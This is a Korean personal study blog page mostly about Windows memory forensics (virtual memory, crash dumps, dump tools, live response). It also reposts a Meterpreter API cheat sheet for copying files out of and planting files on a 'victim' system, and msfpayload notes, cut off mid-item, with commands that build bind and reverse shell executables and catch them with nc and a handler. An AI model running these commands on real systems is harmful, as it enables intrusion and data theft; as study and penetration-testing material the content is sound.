PE Structure

공부/Forensics 2013. 4. 24. 02:02 |


PE-Analysis-v1.0.pdf



'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 4  (0) 2012.08.22
[InForensics] 메모리 분석 - 3  (1) 2012.08.22
[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
Posted by extr
:

윈도우 메모리



파일로서의 메모리


파일로서의 메모리는 동적으로 존재하는 메모리와는 달리, 그 내용이 변하지 않으며 메모리 관련 API가 아닌 파일 시스템 API를 통해 접근을 할 수 있다.




시스템 메모리


시스템 메모리는 보통 물리적 메모리를 의미한다. 1차 저장장치인 RAM과 여기에 추가적으로 하드 드라이브가 보조 장치로써 2차 저장장치가 될 수 있다.



그런데 이러한 물리 메모리가 아닌 가상 메모리라는 것도 존재다. 가상 메모리란 멀티태스킹 능력을 확장시키기 위해 페이징 기법을 사용하는 기술로써, 루트 폴더의 PageFile.sys 파일에 기록한다.






또한 여기서 간단히 짚고 넘어가야 할 문제가 있다. 물리적 메모리의 정의가 철저해져야 할 필요가 있다는 것이다.



물리 메모리(시스템 메모리)는 RAM만을 뜻하는 것이 아닌 RAM과 Page File 두 가지를 의미하는 것이다. 


하지만, 그렇다고 해서 메모리 덤프 시에 RAM과 Page File 두 가지가 모두 덤핑이 되는 것은 아니다. 이 경우, RAM만이 덤프가 된다.



또한, 프로세스 덤프를 하게 되면 가상 메모리에 대한 덤프가 되기 때문에 RAM과 Page File 모두 사용하는 가상 메모리로썬 모두 덤프할 수 밖에 없다.





가상 메모리


일반적인 물리 형태의 메모리가 아닌 논리 형태의 메모리이다.



가상 메모리의 데이터 저장 형태는 RAM이나 Page File 같은 물리적 메모리 또는 하드 드라이브에 저장되며, 할당되는 주소도 물리 메모리와는 달리 VAS(Virtual Adress Space)라는 주소 공간을 따로 할당 받게 된다.



또한 32비트 기준으로, 윈도우의 모든 프로세스는 개별적으로 4GB의 가상 메모리를 할당받는다. 


어디까지나 ‘가상’ 메모리라서 가능한 점이다. 또한, 가상 메모리는 물리 메모리 뿐만 아니라 하드 드라이브(Page File)도 주소 공간으로 사용한다.





가상 메모리의 특징을 몇 가지 간추려 보자면 다음 표와 같다.








가상 메모리의 구조





32비트 기준으로 가상 메모리의 구조는 위의 그림과 같다. 



실제 하나의 사용자 프로세스가 사용할 수 있는 영역은 사용자 영역 2GB로 제한되어 있으며, 이는 사용자 모드로 동작하기 때문에 커널 영역에 진입할 수 없다. 


커널 영역은 오직 커널 모드로 동작하는 프로세스만 진입 가능하다.



또한 사용자 영역은 boot.ini에서 ‘/3GB’ 옵션을 붙여 재부팅하게 되면 사용자 영역을 3GB로 증설하고, 커널 영역을 1GB로 축소 시킬 수 있는데, 이러한 경우 한 번에 실행할 수 있는 프로세스의 개수가 줄어들게 된다.



그리고 커널 영역은 모든 프로세스에게 공통적인 영역이라서 다른 프로세스의 다른 커널영역이라도 두 커널 내의 오브젝트가 가지고 있는 Virtual Address는 동일하다.





커널 영역은 시스템 운영에 사용되기 때문에 Page File보다는 RAM에 저장되며, 가상 주소에 매핑된다.



사용자 영역은 당장 필요 없다고 판단되는 데이터는 Page File로 이동 시키고, 프로세스가 요청할 경우 RAM으로 올린다.


그렇기 때문에 온전한 사용자 데이터를 얻기 위해서는 RAM+Page File을 추출해야만 얻을 수 있다.




가상 메모리 주소와 물리 메모리 주소 간의 주소 변환



모든 프로세스의 가상 메모리는 가상 주소와 실제 주소가 다르기 때문에 매핑을 시켜주어야 한다. 이는 MMU(Memory Management Unit)에 의해 이루어지며, 반드시 필요한 작업이다.





가령 위와 같이 서로 다른 프로세스가 같은 가상 주소에 다른 데이터를 저장하였더라도, 매핑되어있는 물리 주소가 다르기 때문에 실제론 다른 공간에 저장된다.



그렇다면 어떻게 매핑 정보를 알 수 있는 것일까?



가상 메모리의 주소는 32비트 시스템에서는 32비트의 길이를 갖는다.



이 가상 메모리의 주소가 물리 메모리의 주소로 변환될 땐 Page Directory라는 테이블과 Page Table이라는 테이블, 그리고 하나의





가상 주소를 이용한 물리 주소 찾기


- 메모리는 페이지(Page)라는 단위로 불리는 일정 크기의 물리적 단위를 사용하여 물리 메모리를 관리하는데 가상 주소와 물리 주소의 매핑 또한 이 페이지를 기준으로 이루어진다.



각각의 페이지는 첫 번째 페이지부터 0번 순서가 매겨지며, 이 번호를 페이지 프레임 넘버(Page Frame Number)라고 한다. 가상 주소의 구조는 다음과 같다.

 


위와 같은 정보를 이용하여 가상 주소를 토대로 물리 주소를 찾을 수 있다.





방법은 다음과 같다.



 위의 순서를 그림대로 표현하자면 다음과 같다.







'공부 > Forensics' 카테고리의 다른 글

PE Structure  (0) 2013.04.24
[InForensics] 메모리 분석 - 3  (1) 2012.08.22
[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
Posted by extr
:

크래시 덤프


시스템을 유지에 치명적인 영향을 주는 문제가 발생하였을 때 문제의 원인을 찾기 위해서 윈도우 스스로가 만드는 메모리 덤프를 말한다.




흔하게는 일명 BSoD(Blue Screen of Death)가 발생하였을 때 생성되는 크래시 덤프가 있다. BSoD가 발생하였을 때 생성되는 크래시 덤프는 시스템과 RAM의 내용이 정지된 상태로 쓰여 지기 때문에 순수하고 정확한 메모리 덤프라고 할 수 있다.




이러한 메모리 덤프 방법은 매우 유용할 수도 있다. 하지만, 몇 가지의 걸림돌이 존재한다.




우선, 기본적으로 사용자가 임의로 크래시 덤프를 생성할 수 없게 설정되어 있기 때문에 기본적인 환경으론 상당히 까다롭다


(어디까지나 Default 이므로 설정을 변경하면 되지만, 변경하면 재부팅을 해야 적용이 되기 때문에 결국 메모리 덤프로써의 의미가 없다).




두 번째로,  조사 대상의 시스템에 대한 영향을 최소화 하지 않기 때문에 크래시 덤프 파일을 저장함으로써, 대상 하드 드라이브의 잠재된 증거들을 덮어 써 버릴 가능성이 크다. 






크래시 덤프의 종류





크래시 덤프 환경 설정은 시스템>고급>시작 및 복구>설정 탭을 통해 접근할 수 있으며, 


환경 설정을 통해 어떤 덤프를 쓸 것인지, 또 어떤 경로에 저장할 것인지 등의 설정을 할 수 있다.




Small Memory Dump


시스템 크래시가 발생한 원인을 밝히기 위한 최소한의 메모리 정보만을 기록한다.



Kernel Memory Dump


비 할당 영역(Unallocated Memory Space)과 유저 모드로 동작중인 프로그램 메모리 영역을 제외한 커널 모드와 HAL 메모리 영역만을 덤프한다. 


메모리 포렌식 영역에 있어선 그다지 도움이 되지 않는다.



Full Memory Dump


RAM 전체를 그대로 덤프한다. 메모리 포렌식에 있어서 유용하다.



Menually Crash Dump


키보드를 이용한 메모리 덤프가 가능하다.


PS/2의 경우HKLM\System\\CurrentControlSet\Services\i8042prt\Parameters

USB의 경우 HKLM\System\\CurrentControlSet\Services\kbdhid\Parameters


위 경로에 아래와 같이 값을 설정하면 된다.



메뉴얼 덤프는 레지스트리를 등록 후, 재부팅하고 난 이후로 Ctrl키를 꾹 누르고 ScrollLock 키를 두 번 누르면 크래시 덤프를 만들 수 있다.




하이버네이션 파일


Hibernation 기능이란, 전력 관리를 보다 효율적으로 하기 위해 절전 상태에 돌입하게 되면, 하드 드라이브에 메모리 데이터를 기록한 다음 전력을 차단해버는 기능을 말한다.



하지만 이는, 기존 전력 관리 방식(RAM에 대한 지속적인 전력 공급)에 비해 Wakeup 시 복구 시간이 비교적 오래 걸린다. 


하지만, 전력 공급 면에선 괜찮은 기능이니 랩탑에겐 필수적인 기능이라 생각한다.



Windows 7의 경우 커맨드 프롬프트를 통해 Hibernation 설정을 할 수 있다.


powercfg -hibernate on/off 또는 powercfg -h on/off 명령으로 Hibernation 기능을 켜고, 끌 수 있다.



하이버네이션으로 인한 메모리 덤프 파일은 Full Mem Dmp가 아니며, 절전된 즉시 만들어 지기 때문에 복구가 되고 나면 그 상황 당시의 메모리 덤프가 아닌 이전의 메모리 덤프 파일이기 때문에 상황에 따라 쓸모가 없어질 수가 있다. 또한, 메인보드의 칩셋과 OS에 따라 지원 여부가 달라진다.





프로세스와 커널 오브젝트


커널 오브젝트는 메모리 분석의 핵심이다. 이는 간단히 말해, 윈도우가 사용 가능한 모든 리소스를 종류 별로 나눠서, 그 구조를 일반화 시킨 것이 커널 오브젝트라고 한다.


커널 오브젝트는 히든 프로세스나 네트워크 세션로 예를 들 수 있으며, 버전 마다 동일한 구조 규칙을 띄고 있어서 숨겨진 오브젝트 또한 찾아내기 쉽다.






프로그램, 프로세스, 스레드





프로그램은 파일들로 이루어진 수동적인 존재지만, 메모리에 올라가는 프로세스는 능동적인 존재이다. 


또한, 프로그램을 이루는 파일들은 이름, 경로, MAC Timestamp, MFT Entry 등의 파일 메타 데이터를 지니고 있고, 프로세스들은 PID, Handles, Access Token 등과 같은 프로세스 메타 데이터를 지니고 있는 특징이 있다.


스레드는 프로세스에 속해있는 또 다른 커널 오브젝트이다. 모든 프로세스는 최소 한 개 이상의 스레드로 구성이 되어 있으며, 윈도우가 CPU에 일을 할당시킬 때 기준으로 삼는 최소 처리 단위이다. 이 최소 처리 단위와 연관이 있는 것이 바로 CPU Scheduling이다. 이에 대해선 검색을 해보길 바란다.




커널 오브젝트

윈도우 커널이 사용, 관리하는 자원들 중에서 명령 또는 함수로 조작이 가능하고, 일정한 구조를 띄고 있으며, 타입으로 분류가 가능한 것들을 뜻한다.




윈도우는 위 그림과 같이 많은 오브젝트들을 관리하기 위해 Object Manager를 사용하는데, 이의 역할을 세 가지 정도 들어보자면 다음과 같다.


1. 시스템 자원 사용에 대한 일관되고, 공통적인 수단을 제공한다.

2. 프로세스가 사용하는 오브젝트를 측정하여, 시스템 자원 사용에 제약을 둔다.

3. 오브젝트들을 쉽게 관리, 사용하기 위해서 오브젝트 명명 규칙을 확립시킨다.


모든 오브젝트는 타입 오브젝트라는 어떤 특정 오브젝트에 대한 포인터 값을 가지고 있으며 이에 따라 오브젝트의 타입이 결정된다.


'공부 > Forensics' 카테고리의 다른 글

PE Structure  (0) 2013.04.24
[InForensics] 메모리 분석 - 4  (0) 2012.08.22
[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
Posted by extr
:

메모리 덤프 만들기


소프트웨어적인 메모리 덤프 방법과, 하드웨어적인 메모리 덤프 방법을 알아보도록 하자.

각자의 방법 또한 장단점이 존재하며, 소프트웨어 메모리 덤프 방법은 도구에 따라서 또 장단점이 나뉘게 되니 메모리 덤프 방법 및 도구 선택은 매우 신중해져야한다.




하드웨어를 이용한 메모리 덤프



하드웨어를 이용한 메모리 덤프는 다음과 같은 특징을 지니고 있다.



1. 메모리 덤프의 완전성이 높음

2. OS의 특성에 구애받지 않음

3. 루트킷의 영향을 받을 가능성이 낮음

4. DMA를 이용하여 물리 메모리에 빠르게 접근 가능



메모리 덤프 하드웨어 장치는 다음과 같이 나뉜다.



1. PCI 장치


PCI 확장 슬롯에 꼽아 사용할 수 있다. 대표적인 장치로는 ‘Tribble’이 있으며, 실제 구매해 사용하는 용도가 아닌 실험적 용도로 사용된다. ‘Tribble’ 외의 PCI 기반 장치 역시 구매가 가능한 제품이 별로 없다.


2. FireWire 장치


IEEE1394 인터페이스를 이용한 장치이다. 리눅스, 윈도우에서 사용 가능한 특징이 있다. 하지만, FireWire는 소프트웨어 메모리 덤프와 비교해보았을 때 오프셋에 차이가 발생하는 문제점과, UMA 문제로 인해 시스템 크래시 및 메모리 소실이 발생할 수 있는 문제점이 있다.




하드웨어를 메모리 덤프에 대한 장 단점은 아래의 표를 확인하고, 소프트웨어 메모리 덤프로 넘어가 보겠다.







소프트웨어를 이용한 메모리 덤프


이번에는 먼저 소프트웨어를 이용한 경우 어떤 장점지 있고, 어떤 단점이 있는지 살펴보자.






WinDD


메모리 덤프를 위해 세상에 나온 프로그램은 매우 다양하다. 하지만, 모두 일일이 설명하진 않을 것이고 그 중에서 WinDD라는 프로그램을 소개할까 한다.


DD는 원래 GNU 라이센스로 배포되는 유명한 유닉스 프로그램 중 하나인데 간단한 사용 방법 때문인지 인기가 매우 좋은 프로그램으로 널리 알려져있다. 


WinDD는 이러한 DD를 메모리 덤프 전용(물론 WinDD는 프로그램 이름과 같이 윈도우 용으로 만들어졌다)으로 개량한 프로그램이며, Windows XP 이후 버전만을 지원하고 있고 32/64비트 환경을 지원한다.




[Figure 1 - WinDD Memory Dumping]


WinDD에 대해 더 상세히 알고싶다면, 여기를 누르면 된다.


메모리 덤프 프로그램은 이 외에도 Fastdump, ProDiscover가 있다. 각각 CLI, GUI 환경에서 동작하며 자세한 사용 방법은 본인들이 각자 터득해보길 바란다.


'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 4  (0) 2012.08.22
[InForensics] 메모리 분석 - 3  (1) 2012.08.22
[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Forensics]Live Response  (1) 2012.07.25
Posted by extr
:

메모리 분석이란?


메모리에는 복호화된 파일 컨텐츠, 사용자 패스워드 등과 같이 메모리에서만 찾을 수 있는 특유의 정보가 있다.

메모리 포렌식이 오늘날 갑자기 각광 받는 이유를 크게 세 가지 정도 알아보자.




1. 직접 메모리에 로드되어 실행되는 악성코드가 있다.


인 메모리 라이브러리 인젝션이란, 하드 드라이브에 악성 실행 코드를 복사하지 않고, 바로 메모리에 로드하는 기법으로 기술이 예전에 비하여 상당히 고도화된 코드 실행 기법이다. 하지만 악성 코드가 실행되기 위해서는 반드시 평문의 실행 코드가 메모리에 로드되어야 하므로, 결국 이 같은 기법 또한 흔적을 남긴다는 것을 알 수 있다.



2. 애플리케이션의 사용자 프라이버시 보호 기능이 강화되고 있다.


사용자 프라이버시 보호는 디지털 포렌식에 있어서 매우 중요한 문제이다. 특히 소프트웨어 회사들은 사용자 프라이버시 보호를 위해 많은 노력을 기울일 필요가 있다.



3. 안티포렌식 기술의 확산.


이전의 안티 포렌식 도구들은 Slack 영역, MBR 영역, 비 할당 영역, DCO/HPA 영역 등에 컨텐츠를 은닉하거나, 컨텐츠를 삭제하기 위해 무작위의 데이터를 덮어 쓰는 방식 등을 이용했었다. 이 기술들은 최근에도 이용이 되고 있으며, 더욱 발전된 기법들로 포렌식 기술에 대한 대항력을 발전시켜나가고 있다.




이러한 이유로 메모리 분석은 디지털 포렌식 분야에 있어서 빼 놓을 수 없는 분석 단계라 여겨진다. 하지만, 중요한 만큼 분야가 이해하기 상당히 난해하기 때문에 예전부터 사람들이 쉽게 접하지 않는 영역으로 남아있다. 



1. 메모리 분석은 최근부터 관심을 받기 시작했다.


2. 커널 오브젝트 구조와 프로세스 관리, 메모리 관리 기법 등의 지식이 요구된다.


3. 메모리 구조 자체가 매우 난해하며, 여러 환경에 따라 변한다.



라이브 리스폰스와 메모리 분석



라이브 리스폰스와 메모리 분석은 다음과 같은 특징이 존재한다. 





표를 보았을 때 덤프 파일을 대상으로 하는 메모리 분석이 실 상황에서 하는 라이브 리스폰스에 비해 신뢰성과 만족스러운 결과를 보장해주는 것을 알 수 있다.


하지만, 아직 메모리 포렌식은 기법이나 도구들이 많이 발전되지 않은 상태라 우리가 원하는 수준에 미치지 못하고 있다. 하지만, 앞으로의 발전을 통해 메모리 포렌식이 많은 도움을 줄 것이라 기대해 볼 수 있다.




'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 3  (1) 2012.08.22
[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Forensics]Live Response  (1) 2012.07.25
[Metasploit] Msfpayload  (0) 2012.07.21
Posted by extr
:

This page contains meterpreter methods with their syntax and output. The aim was to provide a quick reference for the meterpreter script developer. 


Rather than checking the code of already existing meterpreter scripts and searching for the relevant method, this page can be like a one stop shop.


Hope this will help newbies and enthusiast like me who want to start writing their own meterpreter scripts. 


P.S : Not all the methods are covered as this is all i can do in 3 hours. More to update soon :)




Get all the files/folders in a directory


Syntax: client.fs.dir.entries

Output: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"]

Comment: By default it will get the files and directories of present working directory.


Syntax: client.fs.dir.entries("c:\\")

Output: ["sample_file.txt","dummy_directory","myfile.exe"] 

Comment: This will get the files and directories of c drive.


Get all the files/folders in a directory along with extra information


Syntax: client.fs.dir.entries_with_info

Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]

Comment: By default it will get the files and directories of present working directory.


Syntax: client.fs.dir.entries_with_info("c:\\")

Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]

Comment: This will get the files and directories of c drive.


Change the directory


Syntax: client.fs.dir.chdir("c:\\")

Output: 0

Comment: This will change the present working directory to c drive.


Make directory


Syntax: client.fs.dir.mkdir("c:\\oldman")

Output: 0

Comment: This will make a directory named "oldman" in c drive.


Get current working directory


Syntax: client.fs.dir.pwd

Output: "c:\\oldmanlab"

Comment: This will give the current working directory name



Syntax: client.fs.dir.getwd

Output: "c:\\oldmanlab"

Comment: This will give the current working directory name


Delete a directory


Syntax: client.fs.dir.delete("c:\\oldman")

Output: 0

Comment: This will delete the specified directory only if empty.


Syntax: client.fs.dir.rmdir("c:\\oldman")

Output: 0

Comment: This will delete the specified directory only if empty.


Syntax: client.fs.dir.unlink("c:\\oldman")

Output: 0

Comment: This will delete the specified directory only if empty.


Download contents of a target directory


Syntax: client.fs.dir.download("/root/oldmanlab/","c:\\oldman")

Output: [".", "..", "firefox.lnk", "my_file.txt"]

Comment: This will download all the file inside oldman directory of victim and will save inside the oldmanlab directory of an attacker system.


Upload contents of a local directory to victim system


Syntax: client.fs.dir.upload("c:\\oldman","/root/oldmanlab")

Output: [".", "..", "firefox.lnk", "my_file.txt"]

Comment: This will upload all the content inside oldmanlab directory of an attacker to the oldman directory of victim system.


Get the file separator


Syntax: client.fs.file.separator

Output: \\

Comment: This will give the file separator used by the system (\\ for windows, \ for unix.


Search for the specified file


Syntax: client.fs.file.search("c:\\oldman","hacking.txt")

Output: [{"path"=>"c:\\oldman\\lab", "name"=>"hacking.txt", "size"=>4}]

Comment: This will search for hacking.txt in the oldman directory and its subdirectories


Get the basename for the specified file


Syntax: client.fs.file.basename("c:\\oldman\\hacking.txt")

Output: hacking.txt

Comment: This will give the filename of the filepath specified. 


Expand path of the directory


Syntax: client.fs.file.expand_path("%TEMP%")

Output: "C:\\WINDOWS\\TEMP"

Comment: This will give the absolute path of the shortcut specified


Get the md5 of file


Syntax: client.fs.file.md5("c:\\oldman\\file.txt")

Output: "\x12,\x17~Fj\xFEq\xB7?'\x01;f\x7F'"

Comment: This will give the md5 sum of the specified file


Get the sha1 of file


Syntax: client.fs.file.md5("c:\\oldman\\file.txt")

Output: "Q\xD0\b\xFF\xFA\xD8\xF4x7_\xAE\x911\xB4\xE12V\xB8\tw"

Comment: This will give the sha1 of the specified file


Check if specified file exists


Syntax: client.fs.file.exists?("c:\\oldman\\file.txt")

Output: true

Comment: This will return true if file exists else false


Delete specified file


Syntax: client.fs.file.rm("c:\\oldman\\file.txt")

Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0 

Comment: This will return true if file exists else false


Syntax: client.fs.file.unlink("c:\\oldman\\file.txt")

Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0 

Comment: This will return true if file exists else false


Upload file to victims system


Syntax: client.fs.file.upload("c:\\oldman","/root/lab/evil.exe")

Output: ["/root/lab/firefox.lnk"]

Comment: This will upload evil.exe from attackers system to victims oldman directory


Download file from victims system


Syntax: client.fs.file.download("/root/lab/secret.exe","c:\\oldman\\secret.exe")

Output: ["c:\\oldman\\secret.exe"]

Comment: This will download secret.exe from victims system and will save it to attackers root directory


Open a file in read mode and copy the content to some variable


Syntax: file1 = client.fs.file.new("c:\\oldman\\my_file.txt")

              temp = ""

              until file1.eof?

              temp << file_object.read

Output: N.A

Comment: This will copy all the data inside my_file.txt and store it in temp variable


List all the available interface from victims system


Syntax: client.net.config.get_interfaces

Output: [......]

Comment: This will return an array of the first interface available in the victims system along with the details like IP, netmask, mac_address etc


Syntax: client.net.config.get_interfaces[0]

Output: [......]

Comment: This will return an array of the first interface available in the victims system along with the details like IP, netmask, mac_address etc


Get the IP address of specified interface


Syntax: client.net.config.get_interfaces[1].ip

Output: 192.168.7.3

Comment: This will give IP address of the second interface in the list.


List all the routes available in victims system


Syntax: client.net.config.get_routes

Output: 

Comment: This will return an array of all the routes available in the victims system along with the details like subnet, netmask, gateway


Syntax: client.net.config.get_routes[0]

Output: 

Comment: This will return an array of the first route available in the victims system along with the details like subnet, netmask, gateway


Add a route in victims system


Syntax: client.net.config.add_route("x.x.x.x","x.x.x.x","x.x.x.x")

Output: true

Comment: This will add route in the victims system. The first parameter is subnet, second is netmask and third is gateway.


Remove specified route from victims system


Syntax: client.net.config.remove_route("x.x.x.x","x.x.x.x","x.x.x.x")

Output: true

Comment: This will remove route from the victims system. The first parameter is subnet, second is netmask and third is gateway.


Get the user id


Syntax: client.sys.config.getuid

Output: "NT AUTHORITY\\SYSTEM"

Comment: This will give the user id of the victim system. It basically shows our access level.


Get the victims computer name


Syntax: client.sys.config.sysinfo["Computer"]

Output: "WINXP-1337"

Comment: This will give the computer name of the compromised system.


Get the victims operating system name and version


Syntax: client.sys.config.sysinfo["OS"]

Output: "Windows XP (Build 2600, Service Pack 2)."

Comment: This will give the operating system name running on the compromised system.


Get the victims operating system architecture


Syntax: client.sys.config.sysinfo["Architecture"]

Output: "x86"

Comment: This will give the architecture (x86,64-bit)of the operating system running on compromised system.


Get the victims operating system language


Syntax: client.sys.config.sysinfo["System Language"]

Output: "en_US"

Comment: This will give operating system language of the compromised system.


Revert to previous user privileges


Syntax: client.sys.config.revert_to_self

Output: N.A

Comment: Let say if we had change privilege from "NT AUTHORITY\\oldmanlab" to "NT AUTHORITY\\SYSTEM" then revert to self will again change our privileges to "NT AUTHORITY\\oldmanlab" 




출처 - http://oldmanlab.blogspot.kr/p/meterpreter-api-cheat-sheet.html

'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 2  (2) 2012.08.12
[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Forensics]Live Response  (1) 2012.07.25
[Metasploit] Msfpayload  (0) 2012.07.21
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
Posted by extr
:

라이브 리스폰스(Live Response)


 - 실행 중인 시스템을 대상으로 행해지는 일련의 포렌식 조사 과정


 - 휘발성 정보(시스템 시간, 네트워크 연결 정보, 로그온 사용자 정보, 실행되고 있는 프로세스 정보 등)은 컴퓨터의 전원이 꺼지면 사라지기 때문에 이러한 정보를 얻기 위함.


 


라이브 리스폰스의 중요성


 - 휘발성 저장장치에서만 얻을수 있는 정보가 있음


   (동작중인 프로세스 목록, 열려있는 파일 목록, 네트워크 연결 정보, 클립보드, 사용자 정보, 임시 파일, 비밀번호 등)


 - 최근에는 비휘발성 저장 장치를 거치지 않고 메모리에 상주하는 악성 프로그램이 다수 존재함.


 - 수집한 휘발성 정보를 통해 시스템의 대략적인 상태 파악


   (OS의 버젼, 서비스팩의 정보 등을 통하여 예상 가능한 취약점 목록으로 시간과 자원의 절약)


 - 기업의 서버 같이 항상 구동중이여야 하는 시스템이 존재


 


라이브 어퀴지션(Live Acquisition)


 - 동작 중인 컴퓨터에서 하드 드라이브의 이미지를 복사하는 것


 - 서버처럼 스토리지 용량이 크고 트랜젝션이 수시로 일어나는 곳은 적절치 않음


 - RAID로 구성 되어 있는 기업용 스트리지 용량은 수백 Gbyte에서 수 Tbyte이므로 수일이 걸릴수 있음.


 - 시간도 문제지만 그 기간 동안 정보의 변경이 더 큰 문제


 


라이브 리스폰스의 수행 시기


 - 시간이 촉박하지 않은 경우 항상 수행하는 것이 좋음.


 - 비휘발성 장치에서 증거가 수정/삭제 되고 있는 경우 상황에는 수행 하지 않는 것이 좋음.


 - 안전 삭제(Secure Deletion)이나 Secure Erease, 와이핑(Wiping)이 진행 중인 경우 전원 플러그를 뽑는 것이 좋음.


   (휘발성 자료보다 삭제하려는 자료가 더 중요 함)


 - 해커가 침입 상태라면 휘발성 정보(네트워크 연결 정보, 메모리 덤프 우선)을 수집한뒤 종료


 - 사용하려는 도구들이 조사하려는 컴퓨터의 윈도우버전에 대해 충분한 검토가 되지 않았을 경우 수행하지 않음.


 


시스템 종류에 따른 종료 방법


 - 개인용 OS는 플러그를 바로 뽑아도 되지만 서버용 OS나 서버 어플리케이션이 설치된 컴퓨터는 정상 종료.


 - 멀티탭이 아니라 콘센트를 뽑는 이유는 UPS가 있는 경우를 대비


 - 서버용 OS(윈도우 서버, 유닉스 계열)는 개인용OS에 비해 장애 대비 능력이 뛰어나지 않음.


 - 노트 북의 경우 노트북의 전원이 꺼지지 않으므로 배터리를 제거해야 함.


 


라이브 리스폰스의 원칙


 - '원본에 대한 영향을 최소화'


 - 실제로 다양한 도구를 테스트 해보고 시스템에 가장 영향이 적은 도구를 선별 하는 것이 현실적인 방안


 


로카드 교환 법칙(Locard's Exchange Principle)


 - '접촉한 두 물체 사이에는 반드시 교환이 일어난다'


 - 범죄 현장에서 어떤식이든 물체와 물리적인 접촉이 생기고 그것이 범죄의 증거가 될수 있다는 원리


 - 범인에게만 적용 되는 것이 아니라 증거 수집 간에도 적용되므로 조사간 부정적 영향을 미칠수 있음.


 


라이브 리스폰스 단계에서 영향을 미치는 시스템 구성 요소



  - 메모리(Memory)


> 리스폰스 도구를 실행하면 프로세스가 생성되어 그 코드와 오브젝트들이 메모리에 적재되어 이전에 있던 영역에 있던 데이터를 덮어씀. 


> 커널 오브젝트를 관리하는 시스템 테이블이 갱신되어 새로운 항목 추가 또는 이전 테이블이 삭제 됨.


 


 - 네트워크(Network)


> 사용하는 도구가 네트워크 기능을 사용한다면 관련 로그가 남게 됨.


> 네트워크 연결도 커널 오브젝트에 의해 커널 테이블을 갱신. 


 


 - 프리패치 파일(Prefetch File)


> 윈도우는 새로운 프로그램이 실행 될때마다 프리패치 파일을 생성


> 파일 크기가 크지는 않지만 클러스터 단위로 하나 이상의 영역을 할당 받아 사용.


> xp는 프리패치 파일 갯수의 제한(120개)를 넘을시 이전의 프리패치 파일을 삭제.



 - 레지스트리(Registry)


> 대다수 리스폰스 도구들이 레지스트리에 접근하여 설치정보를 찾고 EULA(End User License Agreement)가 사용자에 의해 승인되었는지의 유무를 확인.


> 레지스트리에 대한 접근/쓰기는 마지막 접근/쓰기 시간의 변경을 의미


> 실행 도구들에 대한 기록을 남김.


 

 - DLL(Dynamic Link Library)


> 포렌식 프로그램이 시스템 함수를 사용할 경우 DLL 파일을 사용하게 되면 접근시간이 변경 됨.


> DLL 접근 시간은 크게 중요하지 않지만 악의 적으로 변조/교체 되면 위험함.


 


 - 로그 파일(Log File)


> 사용한 도구가 에러를 발생시 기본적으로 이벤트 로그에 기록이 남음.


 



사전 준비



 - 도구 선택 단계


> 불법적인 도구는 법적 증거물이 될수 없으므로 정식 도구를 사용


> 정식 도구라 하더라도 바이러싀이 감염되거나 임의로 수정되었다면 사용 불가


> 가능하면 포렌식 전용 툴을 사용




 - 도구 테스트 단계


> 도구가 미치는 영향을 파악


> 버젼과 서비스팩에 따라 호환성이 다를수 있으므로 문제 없이 실행 되는지 확인


(ex. 윈도우 SP2부터는 포렌식용 dd가 아니면 메모리 덤프를 사용할수 없음


 


 - 문서화 단계


> 선택한 도구들의 목록을 만들고 출처와 해시를 기록


> 도구를 테스트하고 테스트 환경과 결과, 시스템에 미치는 영향을 기록


 


 - 사전 훈련 단계


> 라이브 리스폰스 도구들로 다양한 환경과 옵션으로 사용하여 문서화


 



모니터링과 문서화



 - 리스폰스 도구들이 시스템에 미치는 영향


> 프로그램이 실행될 때 로드 되는 DLL 파일 목록


> 레지스트리 접근 정보


> 프로그램이 수정 및 생성하는 파일 목록



-  도구 실행시 옵션마다 시스템에 미치는 영향이 다르므로 테스트로 검증된 옵션을 사용.


'공부 > Forensics' 카테고리의 다른 글

[InForensics] 메모리 분석 - 1  (0) 2012.08.09
[Metasploit]Meterpreter API Cheat Sheet  (0) 2012.07.26
[Metasploit] Msfpayload  (0) 2012.07.21
[Metasploit]Meterpreter (Reverse exe)  (4) 2012.07.21
[Windows]Userdump.exe  (0) 2012.07.19
Posted by extr
:

Metasploit Payloads - msfpayload


This entry is really just a place for me to keep notes on working msfpayload details. I will expand on this post as i get more working examples.


These payloads will be detected by AV, I will cover methods of avoiding AV detection in another post.


In my examples 192.168.1.110 is the victim, and 192.168.1.112 is the attacker. Where I have not specified the port it will default to 4444.




1. For a listening shell on the target


Create payload:

./msfpayload windows/shell_bind_tcp LPORT=2482 X > /tmp/Listen-shell.exe


Target:

run Listen-shell.exe


Hacker:

nc 192.168.1.110 2482




2. For a reverse shell on the target


Create payload:

./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.112 X > /tmp/reverse-shell.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.1.112 E


Target:

run reverse-shell.exe




3. For a VNC listener on target


Create payload:

./msfpayload windows/vncinject/bind_tcp LPORT=2482 X > Listen-vnc.exe


Target:

run Listen-vnc.exe


Hacker:

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/bind_tcp LPORT=2482 RHOST=192.168.1.110 DisableCourtesyShell=TRUE E 




4. For a reverse VNC session


Create payload:

